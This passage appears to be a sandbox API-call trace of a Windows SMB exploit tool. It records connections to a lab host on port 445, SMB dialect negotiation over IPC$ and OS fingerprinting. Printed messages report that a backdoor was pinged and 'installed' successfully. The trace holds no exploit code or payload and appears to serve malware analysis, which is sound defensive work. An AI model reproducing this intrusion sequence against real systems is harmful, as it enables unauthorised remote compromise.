(dwMilliseconds=0xa) [0112.045] Sleep (dwMilliseconds=0xa) [0112.091] Sleep (dwMilliseconds=0xa) [0112.140] Sleep (dwMilliseconds=0xa) [0112.184] Sleep (dwMilliseconds=0xa) [0112.232] Sleep (dwMilliseconds=0xa) [0112.278] Sleep (dwMilliseconds=0xa) [0112.327] Sleep (dwMilliseconds=0xa) [0112.408] Sleep (dwMilliseconds=0xa) [0112.451] Sleep (dwMilliseconds=0xa) [0112.496] Sleep (dwMilliseconds=0xa) [0112.571] Sleep (dwMilliseconds=0xa) [0112.609] Sleep (dwMilliseconds=0xa) [0112.655] Sleep (dwMilliseconds=0xa) [0112.718] Sleep (dwMilliseconds=0xa) [0112.765] Sleep (dwMilliseconds=0xa) [0112.818] Sleep (dwMilliseconds=0xa) [0112.856] Sleep (dwMilliseconds=0xa) [0112.902] Sleep (dwMilliseconds=0xa) [0112.950] Sleep (dwMilliseconds=0xa) [0112.996] Sleep (dwMilliseconds=0xa) [0113.047] Sleep (dwMilliseconds=0xa) [0113.090] Sleep (dwMilliseconds=0xa) [0113.138] Sleep (dwMilliseconds=0xa) [0113.183] Sleep (dwMilliseconds=0xa) [0113.231] Sleep (dwMilliseconds=0xa) [0113.276] Sleep (dwMilliseconds=0xa) [0113.325] Sleep (dwMilliseconds=0xa) [0113.383] Sleep (dwMilliseconds=0xa) [0113.511] Sleep (dwMilliseconds=0xa) [0113.591] Sleep (dwMilliseconds=0xa) [0113.637] Sleep (dwMilliseconds=0xa) [0113.729] Sleep (dwMilliseconds=0xa) [0113.819] Sleep (dwMilliseconds=0xa) [0113.909] Sleep (dwMilliseconds=0xa) [0113.951] Sleep (dwMilliseconds=0xa) [0114.034] Sleep (dwMilliseconds=0xa) [0114.081] Sleep (dwMilliseconds=0xa) [0114.129] Sleep (dwMilliseconds=0xa) [0114.191] Sleep (dwMilliseconds=0xa) [0114.231] Sleep (dwMilliseconds=0xa) [0114.281] Sleep (dwMilliseconds=0xa) [0114.336] Sleep (dwMilliseconds=0xa) [0114.417] Sleep (dwMilliseconds=0xa) [0114.512] Sleep (dwMilliseconds=0xa) [0114.599] Sleep (dwMilliseconds=0xa) [0114.689] Sleep (dwMilliseconds=0xa) [0114.732] Sleep (dwMilliseconds=0xa) [0114.784] Sleep (dwMilliseconds=0xa) [0114.829] Sleep (dwMilliseconds=0xa) [0114.878] Sleep (dwMilliseconds=0xa) [0114.981] Sleep (dwMilliseconds=0xa) [0115.057] Sleep (dwMilliseconds=0xa) [0115.148] Sleep (dwMilliseconds=0xa) [0115.226] Sleep (dwMilliseconds=0xa) [0115.274] vfprintf (in: _File=0x76be2920, _Format="[*] Pinging backdoor...\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 24 [0115.275] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0115.275] vfprintf (in: _File=0x76be2920, _Format=" [+] Backdoor returned code: 10 - Success!\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 46 [0115.276] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0115.276] vfprintf (in: _File=0x76be2920, _Format=" [+] Ping returned Target architecture: x64 (64-bit)\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 56 [0115.276] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0115.276] vfprintf (in: _File=0x76be2920, _Format=" [+] Backdoor installed\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 267 [0115.277] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0115.277] Sleep (dwMilliseconds=0xa) [0115.289] Sleep (dwMilliseconds=0xa) [0115.304] Sleep (dwMilliseconds=0xa) [0115.320] Sleep (dwMilliseconds=0xa) [0115.335] Sleep (dwMilliseconds=0xa) [0115.351] Sleep (dwMilliseconds=0xa) [0115.414] Sleep (dwMilliseconds=0xa) [0115.430] Sleep (dwMilliseconds=0xa) [0115.460] Sleep (dwMilliseconds=0xa) [0115.484] Sleep (dwMilliseconds=0xa) [0115.492] Sleep (dwMilliseconds=0xa) [0115.507] Sleep (dwMilliseconds=0xa) [0115.526] Sleep (dwMilliseconds=0xa) [0115.554] Sleep (dwMilliseconds=0xa) [0115.575] Sleep (dwMilliseconds=0xa) [0115.585] Sleep (dwMilliseconds=0xa) [0115.601] Sleep (dwMilliseconds=0xa) [0115.616] Sleep (dwMilliseconds=0xa) [0115.632] Sleep (dwMilliseconds=0xa) [0115.648] Sleep (dwMilliseconds=0xa) [0115.665] Sleep (dwMilliseconds=0xa) [0115.689] Sleep (dwMilliseconds=0xa) [0115.694] Sleep (dwMilliseconds=0xa) [0115.710] Sleep (dwMilliseconds=0xa) [0115.725] Sleep (dwMilliseconds=0xa) [0115.741] Sleep (dwMilliseconds=0xa) [0115.757] Sleep (dwMilliseconds=0xa) [0115.773] Sleep (dwMilliseconds=0xa) [0115.788] Sleep (dwMilliseconds=0xa) [0115.804] Sleep (dwMilliseconds=0xa) [0115.819] Sleep (dwMilliseconds=0xa) [0115.835] Sleep (dwMilliseconds=0xa) [0115.871] Sleep (dwMilliseconds=0xa) [0115.881] Sleep (dwMilliseconds=0xa) [0115.897] Sleep (dwMilliseconds=0xa) [0115.914] Sleep (dwMilliseconds=0xa) [0115.928] Sleep (dwMilliseconds=0xa) [0115.944] Sleep (dwMilliseconds=0xa) [0115.959] Sleep (dwMilliseconds=0xa) [0115.984] Sleep (dwMilliseconds=0xa) [0115.991] Sleep (dwMilliseconds=0xa) [0116.006] Sleep (dwMilliseconds=0xa) [0116.022] Sleep (dwMilliseconds=0xa) [0116.037] Sleep (dwMilliseconds=0xa) [0116.053] Sleep (dwMilliseconds=0xa) [0116.070] Sleep (dwMilliseconds=0xa) [0116.084] Sleep (dwMilliseconds=0xa) [0116.100] Sleep (dwMilliseconds=0xa) [0116.115] Sleep (dwMilliseconds=0xa) [0116.131] Sleep (dwMilliseconds=0xa) [0116.147] Sleep (dwMilliseconds=0xa) [0116.165] Sleep (dwMilliseconds=0xa) [0116.178] Sleep (dwMilliseconds=0xa) [0116.193] Sleep (dwMilliseconds=0xa) [0116.209] Sleep (dwMilliseconds=0xa) [0116.228] Sleep (dwMilliseconds=0xa) [0116.241] Sleep (dwMilliseconds=0xa) [0116.256] Sleep (dwMilliseconds=0xa) [0116.273] Sleep (dwMilliseconds=0xa) [0116.287] Sleep (dwMilliseconds=0xa) [0116.303] Sleep (dwMilliseconds=0xa) [0116.318] Sleep (dwMilliseconds=0xa) [0116.334] Sleep (dwMilliseconds=0xa) [0116.350] Sleep (dwMilliseconds=0xa) [0116.381] Sleep (dwMilliseconds=0xa) [0116.396] Sleep (dwMilliseconds=0xa) [0116.426] Sleep (dwMilliseconds=0xa) [0116.427] Sleep (dwMilliseconds=0xa) [0116.443] Sleep (dwMilliseconds=0xa) [0116.459] Sleep (dwMilliseconds=0xa) [0116.474] Sleep (dwMilliseconds=0xa) [0116.493] Sleep (dwMilliseconds=0xa) [0116.506] Sleep (dwMilliseconds=0xa) [0116.521] Sleep (dwMilliseconds=0xa) [0116.537] Sleep (dwMilliseconds=0xa) [0116.552] Sleep (dwMilliseconds=0xa) [0116.568] Sleep (dwMilliseconds=0xa) [0116.583] Sleep (dwMilliseconds=0xa) [0116.599] Sleep (dwMilliseconds=0xa) [0116.615] Sleep (dwMilliseconds=0xa) [0116.630] Sleep (dwMilliseconds=0xa) [0116.646] Sleep (dwMilliseconds=0xa) [0116.661] Sleep (dwMilliseconds=0xa) [0116.678] Sleep (dwMilliseconds=0xa) [0116.693] Sleep (dwMilliseconds=0xa) [0116.708] Sleep (dwMilliseconds=0xa) [0116.724] Sleep (dwMilliseconds=0xa) [0116.739] Sleep (dwMilliseconds=0xa) [0116.755] Sleep (dwMilliseconds=0xa) [0116.771] Sleep (dwMilliseconds=0xa) [0116.787] Sleep (dwMilliseconds=0xa) [0116.802] Sleep (dwMilliseconds=0xa) [0116.817] Sleep (dwMilliseconds=0xa) [0116.833] Sleep (dwMilliseconds=0xa) [0116.849] Sleep (dwMilliseconds=0xa) [0116.864] Sleep (dwMilliseconds=0xa) [0116.880] Sleep (dwMilliseconds=0xa) [0116.896] Sleep (dwMilliseconds=0xa) [0116.911] Sleep (dwMilliseconds=0xa) [0116.927] Sleep (dwMilliseconds=0xa) [0116.942] Sleep (dwMilliseconds=0xa) [0116.958] Sleep (dwMilliseconds=0xa) [0116.974] Sleep (dwMilliseconds=0xa) [0116.989] Sleep (dwMilliseconds=0xa) [0117.005] Sleep (dwMilliseconds=0xa) [0117.021] Sleep (dwMilliseconds=0xa) [0117.036] Sleep (dwMilliseconds=0xa) [0117.051] Sleep (dwMilliseconds=0xa) [0117.067] Sleep (dwMilliseconds=0xa) [0117.083] Sleep (dwMilliseconds=0xa) [0117.099] Sleep (dwMilliseconds=0xa) [0117.114] Sleep (dwMilliseconds=0xa) [0117.129] Sleep (dwMilliseconds=0xa) [0117.145] Sleep (dwMilliseconds=0xa) [0117.181] Sleep (dwMilliseconds=0xa) [0117.192] Sleep (dwMilliseconds=0xa) [0117.207] Sleep (dwMilliseconds=0xa) [0117.223] Sleep (dwMilliseconds=0xa) [0117.239] Sleep (dwMilliseconds=0xa) [0117.254] fprintf (in: _File=0x76be2920, _Format="%s (%u bytes):\n" | out: _File=0x76be2920) returned 48 [0117.257] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0117.257] sprintf (in: _Dest=0x205fa10, _Format="0x%08x" | out: _Dest="0x00000000") returned 10 [0117.257] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="08") returned 2 [0117.257] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="00") returned 2 [0117.257] fprintf (in: _File=0x76be2920, _Format="%s\n" | out: _File=0x76be2920) returned 64 [0117.258] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0117.258] malloc (_Size=0x10) returned 0xead5c8 [0117.259] vfprintf (in: _File=0x76be2920, _Format="[*] Received output parameters from CORE\n", _ArgList=0x205fa30 | out: _File=0x76be2920) returned 41 [0117.303] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0117.303] free (_Block=0xead5c8) [0117.303] SetEvent (hEvent=0x60) returned 1 [0117.303] vfprintf (in: _File=0x76be2920, _Format="[+] CORE terminated with status code 0x%08x\n", _ArgList=0x205fa34 | out: _File=0x76be2920) returned 48 [0117.336] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0117.336] free (_Block=0xeaf158) Thread: id = 528 os_tid = 0x1114 [0096.148] malloc (_Size=0x34) returned 0xd937f0 [0096.148] malloc (_Size=0xc49) returned 0xd90e60 [0096.148] malloc (_Size=0xa) returned 0xead670 [0096.148] malloc (_Size=0xe) returned 0xead5c8 [0096.148] strcmp (_Str1="WIN72K8R2", _Str2="XP") returned -1 [0096.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2b1f4a8 | out: lpSystemTimeAsFileTime=0x2b1f4a8*(dwLowDateTime=0x8f7de880, dwHighDateTime=0x1d5ca1f)) [0096.148] srand (_Seed=0x8f7de880) [0096.148] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2b1f328 | out: lpWSAData=0x2b1f328) returned 0 [0096.148] malloc (_Size=0x1090) returned 0xd91ab8 [0096.148] htons (hostshort=0x1122) returned 0x2211 [0096.148] malloc (_Size=0x2000) returned 0xd98e88 [0096.148] rand () returned 31982 [0096.148] rand () returned 11784 [0096.148] rand () returned 30884 [0096.148] rand () returned 24707 [0096.148] malloc (_Size=0x18) returned 0xd96ef8 [0096.148] realloc (_Block=0x0, _Size=0x6) returned 0xda1090 [0096.148] realloc (_Block=0x0, _Size=0xa) returned 0xead610 [0096.148] rand () returned 28029 [0096.148] rand () returned 26044 [0096.148] rand () returned 6314 [0096.148] rand () returned 337 [0096.148] rand () returned 1465 [0096.148] rand () returned 13658 [0096.149] rand () returned 18463 [0096.149] rand () returned 25162 [0096.149] rand () returned 13832 [0096.149] rand () returned 18173 [0096.149] rand () returned 22206 [0096.149] rand () returned 27148 [0096.149] rand () returned 2336 [0096.149] rand () returned 32473 [0096.149] rand () returned 19203 [0096.149] rand () returned 11254 [0096.149] rand () returned 4215 [0096.149] rand () returned 1495 [0096.149] rand () returned 21054 [0096.149] rand () returned 26600 [0096.149] strlen (_Str="LANMAN") returned 0x6 [0096.149] realloc (_Block=0x0, _Size=0x7) returned 0xda1070 [0096.149] strlen (_Str="IPC$") returned 0x4 [0096.149] realloc (_Block=0x0, _Size=0x5) returned 0xda1060 [0096.149] malloc (_Size=0x2000) returned 0xd9ae90 [0096.149] malloc (_Size=0x2000) returned 0xd9ce98 [0096.149] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c81a1 [0096.149] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.149] realloc (_Block=0x0, _Size=0x12) returned 0xd96f38 [0096.149] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.149] realloc (_Block=0x0, _Size=0x11) returned 0xd96f58 [0096.149] htons (hostshort=0x1bd) returned 0xbd01 [0096.149] socket (af=2, type=1, protocol=6) returned 0x94 [0096.170] setsockopt (s=0x94, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.170] connect (s=0x94, name=0xd91ad8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.171] malloc (_Size=0x2000) returned 0xd9eea0 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] strlen (_Str="LANMAN") returned 0x6 [0096.171] htons (hostshort=0xbd01) returned 0x1bd [0096.171] malloc (_Size=0x400) returned 0xd92b50 [0096.171] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16 [0096.171] strlen (_Str="LANMAN1.0") returned 0x9 [0096.171] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b [0096.171] strlen (_Str="LM1.2X002") returned 0x9 [0096.172] strlen (_Str="LANMAN2.1") returned 0x9 [0096.172] strlen (_Str="NT LM 0.12") returned 0xa [0096.172] free (_Block=0xd92b50) [0096.172] send (s=0x94, buf=0xd9eea0*, len=137, flags=0) returned 137 [0096.173] select (in: nfds=149, readfds=0x2b1f0a0, writefds=0x0, exceptfds=0x0, timeout=0x2b1f1a4*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f0a0, writefds=0x0, exceptfds=0x0) returned 1 [0096.174] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 121 [0096.175] realloc (_Block=0x0, _Size=0x14) returned 0xd96f78 [0096.175] realloc (_Block=0x0, _Size=0x1) returned 0xda10c0 [0096.175] realloc (_Block=0xda10c0, _Size=0x2) returned 0xda10a0 [0096.175] realloc (_Block=0xda10a0, _Size=0x3) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x4) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x5) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x6) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x7) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x8) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x9) returned 0xead5f8 [0096.176] realloc (_Block=0xead5f8, _Size=0xa) returned 0xead5e0 [0096.176] realloc (_Block=0x0, _Size=0x14) returned 0xd96f98 [0096.176] realloc (_Block=0x0, _Size=0x1) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x2) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x3) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x4) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x5) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x6) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x7) returned 0xda10a0 [0096.176] realloc (_Block=0xda10a0, _Size=0x8) returned 0xda10c0 [0096.176] realloc (_Block=0xda10c0, _Size=0x9) returned 0xead5f8 [0096.177] realloc (_Block=0xead5f8, _Size=0xa) returned 0xead598 [0096.177] realloc (_Block=0x0, _Size=0x1000) returned 0xda3fd0 [0096.177] realloc (_Block=0x0, _Size=0x1000) returned 0xda4fd8 [0096.179] free (_Block=0xda3fd0) [0096.179] free (_Block=0xda4fd8) [0096.179] send (s=0x94, buf=0xd9eea0*, len=140, flags=0) returned 140 [0096.179] select (in: nfds=149, readfds=0x2b1f0f0, writefds=0x0, exceptfds=0x0, timeout=0x2b1f1f4*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f0f0, writefds=0x0, exceptfds=0x0) returned 1 [0096.180] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 205 [0096.180] realloc (_Block=0x0, _Size=0x1000) returned 0xda3fd0 [0096.180] realloc (_Block=0x0, _Size=0x1) returned 0xda10c0 [0096.180] realloc (_Block=0xda10c0, _Size=0x2) returned 0xda10a0 [0096.180] realloc (_Block=0xda10a0, _Size=0x3) returned 0xda10c0 [0096.181] realloc (_Block=0xda10c0, _Size=0x4) returned 0xda10a0 [0096.181] realloc (_Block=0xda10a0, _Size=0x5) returned 0xda10c0 [0096.181] realloc (_Block=0xda10c0, _Size=0x6) returned 0xda10a0 [0096.181] realloc (_Block=0xda10a0, _Size=0x7) returned 0xda10c0 [0096.181] realloc (_Block=0xda10c0, _Size=0x8) returned 0xda10a0 [0096.181] realloc (_Block=0xda10a0, _Size=0x9) returned 0xead5f8 [0096.181] realloc (_Block=0xead5f8, _Size=0xa) returned 0xead5b0 [0096.181] realloc (_Block=0xead5b0, _Size=0xb) returned 0xead5f8 [0096.181] realloc (_Block=0xead5f8, _Size=0xc) returned 0xead5b0 [0096.181] realloc (_Block=0xead5b0, _Size=0xd) returned 0xead5f8 [0096.181] realloc (_Block=0xead5f8, _Size=0xe) returned 0xead5b0 [0096.181] realloc (_Block=0xead5b0, _Size=0xf) returned 0xead5f8 [0096.181] realloc (_Block=0xead5f8, _Size=0x10) returned 0xead5b0 [0096.181] realloc (_Block=0xead5b0, _Size=0x11) returned 0xd96fb8 [0096.181] realloc (_Block=0xd96fb8, _Size=0x12) returned 0xd96fd8 [0096.181] realloc (_Block=0xd96fd8, _Size=0x13) returned 0xd96fb8 [0096.181] realloc (_Block=0xd96fb8, _Size=0x14) returned 0xd96fd8 [0096.181] realloc (_Block=0xd96fd8, _Size=0x15) returned 0xd96fb8 [0096.181] realloc (_Block=0xd96fb8, _Size=0x16) returned 0xd96fd8 [0096.181] realloc (_Block=0xd96fd8, _Size=0x17) returned 0xd96fb8 [0096.181] realloc (_Block=0xd96fb8, _Size=0x18) returned 0xd96fd8 [0096.181] realloc (_Block=0xd96fd8, _Size=0x19) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1a) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1b) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1c) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1d) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1e) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x1f) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x20) returned 0xd949f0 [0096.181] realloc (_Block=0xd949f0, _Size=0x21) returned 0xda0ea8 [0096.181] realloc (_Block=0xda0ea8, _Size=0x22) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x23) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x24) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x25) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x26) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x27) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x28) returned 0xda0ea8 [0096.182] realloc (_Block=0xda0ea8, _Size=0x29) returned 0xd96880 [0096.182] realloc (_Block=0xd96880, _Size=0x2a) returned 0xd96880 [0096.182] realloc (_Block=0xd96880, _Size=0x2b) returned 0xd96880 [0096.182] realloc (_Block=0x0, _Size=0x1000) returned 0xda3fd0 [0096.182] realloc (_Block=0x0, _Size=0x1) returned 0xda10a0 [0096.182] realloc (_Block=0xda10a0, _Size=0x2) returned 0xda10c0 [0096.182] realloc (_Block=0xda10c0, _Size=0x3) returned 0xda10a0 [0096.182] realloc (_Block=0xda10a0, _Size=0x4) returned 0xda10c0 [0096.182] realloc (_Block=0xda10c0, _Size=0x5) returned 0xda10a0 [0096.182] realloc (_Block=0xda10a0, _Size=0x6) returned 0xda10c0 [0096.182] realloc (_Block=0xda10c0, _Size=0x7) returned 0xda10a0 [0096.182] realloc (_Block=0xda10a0, _Size=0x8) returned 0xda10c0 [0096.182] realloc (_Block=0xda10c0, _Size=0x9) returned 0xead5b0 [0096.182] realloc (_Block=0xead5b0, _Size=0xa) returned 0xead5f8 [0096.182] realloc (_Block=0xead5f8, _Size=0xb) returned 0xead5b0 [0096.182] realloc (_Block=0xead5b0, _Size=0xc) returned 0xead5f8 [0096.182] realloc (_Block=0xead5f8, _Size=0xd) returned 0xead5b0 [0096.182] realloc (_Block=0xead5b0, _Size=0xe) returned 0xead5f8 [0096.182] realloc (_Block=0xead5f8, _Size=0xf) returned 0xead5b0 [0096.182] realloc (_Block=0xead5b0, _Size=0x10) returned 0xead5f8 [0096.182] realloc (_Block=0xead5f8, _Size=0x11) returned 0xd96fd8 [0096.182] realloc (_Block=0xd96fd8, _Size=0x12) returned 0xd96fb8 [0096.182] realloc (_Block=0xd96fb8, _Size=0x13) returned 0xd96fd8 [0096.182] realloc (_Block=0xd96fd8, _Size=0x14) returned 0xd96fb8 [0096.182] realloc (_Block=0xd96fb8, _Size=0x15) returned 0xd96fd8 [0096.183] realloc (_Block=0xd96fd8, _Size=0x16) returned 0xd96fb8 [0096.183] realloc (_Block=0xd96fb8, _Size=0x17) returned 0xd96fd8 [0096.183] realloc (_Block=0xd96fd8, _Size=0x18) returned 0xd96fb8 [0096.183] realloc (_Block=0xd96fb8, _Size=0x19) returned 0xd949f0 [0096.183] realloc (_Block=0xd949f0, _Size=0x1a) returned 0xd949f0 [0096.183] realloc (_Block=0xd949f0, _Size=0x1b) returned 0xd949f0 [0096.183] realloc (_Block=0xd96f78, _Size=0x1014) returned 0xda3fd0 [0096.183] realloc (_Block=0xead5e0, _Size=0xb) returned 0xead5f8 [0096.183] realloc (_Block=0xead5f8, _Size=0xc) returned 0xead5e0 [0096.183] realloc (_Block=0xead5e0, _Size=0xd) returned 0xead5f8 [0096.183] realloc (_Block=0xead5f8, _Size=0xe) returned 0xead5e0 [0096.183] realloc (_Block=0xead5e0, _Size=0xf) returned 0xead5f8 [0096.183] realloc (_Block=0xead5f8, _Size=0x10) returned 0xead5e0 [0096.183] realloc (_Block=0xead5e0, _Size=0x11) returned 0xd96f78 [0096.183] realloc (_Block=0xd96f78, _Size=0x12) returned 0xd96fb8 [0096.183] realloc (_Block=0xd96fb8, _Size=0x13) returned 0xd96f78 [0096.183] realloc (_Block=0xd96f78, _Size=0x14) returned 0xd96fb8 [0096.183] strlen (_Str="?????") returned 0x5 [0096.183] strncpy (in: _Dest=0x2b1ef3c, _Source="\\\\", _Count=0x31f | out: _Dest="\\\\") returned="\\\\" [0096.184] strlen (_Str="\\\\") returned 0x2 [0096.184] inet_ntoa (in=0xab00a8c0) returned="192.168.0.171" [0096.184] strncat (in: _Dest=0x2b1ef3c, _Source="192.168.0.171", _Count=0x31d | out: _Dest="\\\\192.168.0.171") returned="\\\\192.168.0.171" [0096.184] strlen (_Str="\\\\192.168.0.171") returned 0xf [0096.185] strncat (in: _Dest=0x2b1ef3c, _Source="\\", _Count=0x310 | out: _Dest="\\\\192.168.0.171\\") returned="\\\\192.168.0.171\\" [0096.185] strlen (_Str="\\\\192.168.0.171\\") returned 0x10 [0096.185] strncat (in: _Dest=0x2b1ef3c, _Source="IPC$", _Count=0x30f | out: _Dest="\\\\192.168.0.171\\IPC$") returned="\\\\192.168.0.171\\IPC$" [0096.185] strlen (_Str="\\\\192.168.0.171\\IPC$") returned 0x14 [0096.185] realloc (_Block=0x0, _Size=0x1000) returned 0xda4ff0 [0096.185] send (s=0x94, buf=0xd9eea0*, len=96, flags=0) returned 96 [0096.185] select (in: nfds=149, readfds=0x2b1f0f0, writefds=0x0, exceptfds=0x0, timeout=0x2b1f1f4*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f0f0, writefds=0x0, exceptfds=0x0) returned 1 [0096.185] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 60 [0096.185] strlen (_Str="lanman") returned 0x6 [0096.185] strcmp (_Str1="lanman", _Str2="lanman") returned 0 [0096.185] free (_Block=0xd9eea0) [0096.186] realloc (_Block=0x0, _Size=0x1000) returned 0xda4ff0 [0096.186] GetTickCount () returned 0x11b1448 [0096.186] srand (_Seed=0x11b1448) [0096.186] rand () returned 27408 [0096.186] rand () returned 10040 [0096.186] rand () returned 7383 [0096.186] rand () returned 13605 [0096.186] realloc (_Block=0x0, _Size=0x1000) returned 0xd9eea0 [0096.186] send (s=0x94, buf=0xd9eea0*, len=82, flags=0) returned 82 [0096.186] select (in: nfds=149, readfds=0x2b1f2dc, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3e0*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f2dc, writefds=0x0, exceptfds=0x0) returned 1 [0096.187] recv (in: s=0x94, buf=0xda4ff0, len=4096, flags=0 | out: buf=0xda4ff0*) returned 39 [0096.187] strlen (_Str="Windows 5.1") returned 0xb [0096.187] strlen (_Str="Windows 5.1") returned 0xb [0096.187] strlen (_Str="Windows XP 3790") returned 0xf [0096.187] strlen (_Str="Windows XP 3790") returned 0xf [0096.187] strlen (_Str="Windows Server 2003 3790") returned 0x18 [0096.187] strlen (_Str="Windows Server 2003 3790") returned 0x18 [0096.187] strlen (_Str="Windows Server 2003 R2 3790") returned 0x1b [0096.187] strlen (_Str="Windows Server 2003 R2 3790") returned 0x1b [0096.187] strlen (_Str="Windows Vista") returned 0xd [0096.187] strlen (_Str="Windows Vista") returned 0xd [0096.187] strlen (_Str="Windows Server (R) 2008") returned 0x17 [0096.187] strlen (_Str="Windows Server (R) 2008") returned 0x17 [0096.187] strlen (_Str="Windows Server 2008 R2") returned 0x16 [0096.187] strlen (_Str="Windows Server 2008 R2") returned 0x16 [0096.187] strlen (_Str="Windows 7") returned 0x9 [0096.187] strlen (_Str="Windows 7") returned 0x9 [0096.192] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.192] send (s=0x94, buf=0xd9fe90*, len=1084, flags=0) returned 1084 [0096.192] select (in: nfds=149, readfds=0x2b1f2b8, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3bc*(tv_sec=900, tv_usec=0) | out: readfds=0x2b1f2b8, writefds=0x0, exceptfds=0x0) returned 1 [0096.193] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 39 [0096.193] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0096.193] realloc 